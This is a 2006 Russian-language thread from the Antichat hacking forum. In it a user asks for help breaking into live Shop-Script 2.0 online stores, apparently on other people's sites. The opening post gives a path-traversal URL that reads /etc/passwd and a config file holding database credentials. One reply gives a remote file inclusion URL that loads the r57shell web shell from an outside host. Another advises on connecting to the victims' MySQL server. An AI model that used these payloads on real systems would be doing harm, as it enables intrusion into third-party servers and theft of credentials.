ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Траблы со вломом Shop-Script 2.0
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Траблы со вломом Shop-Script 2.0
  #1  
Старый 12.03.2006, 23:25
Аватар для zzipper
zzipper
Новичок
Регистрация: 26.01.2006
Сообщений: 24
Провел на форуме:
173041

Репутация: 0
Question Траблы со вломом Shop-Script 2.0
Прочитал статью в Хакере за февраль. Там описывался взлом Shop-Script'a 2.0. И вот решил попробовать. Собсно вот возникшая трабла:
1. подставив в index.php?aux_page=../../../../../../../etc/passwd вылезли логины - т.е. тут все нормуль
2. потом пихаем ../cfg/connect.onc.php - и тут в исходном txt страницы светяцца BD_HOST, DB_USER, DB_PASS, DB_NAME и ADMIN_LOGIN.
Тока вот в DB_HOST почему всегда (на разных шопах пробавал) стоит localhost..
Собсно как приконектица к Базе-то, шоб паролик выудить от админки?
 
Ответить с цитированием

  #2  
Старый 12.03.2006, 23:49
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию
index.php?aux_page=http://rst.void.ru/download/r57shell.txt?

там и введешь.

Если б можно было везде конектиться с инета на базу.. Эх!
 
Ответить с цитированием

  #3  
Старый 13.03.2006, 00:56
Аватар для max_pain89
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
Провел на форуме:
2260903

Репутация: 345


По умолчанию
localhost - это комп на котором стоит мускуль, т.е. и мускуль и сайт на одной тачке. Если в мускуле не стоит коннект только с локалхоста, то подставляй сайт который ломаешь, впринцепе можно и айпишник.
 
Ответить с цитированием

  #4  
Старый 13.03.2006, 18:10
Аватар для zzipper
zzipper
Новичок
Регистрация: 26.01.2006
Сообщений: 24
Провел на форуме:
173041

Репутация: 0
По умолчанию
Фтыкал и сайт и IP..и нифика не катит..
ЗЫ А ничо если файл sql.php (от RST) лежит у мя на сайте..?Я оттуда пытаюсь..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Новый Мултиплеер для GTA:VC - vc-mp xSp1D3R Болталка 5 16.08.2005 02:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ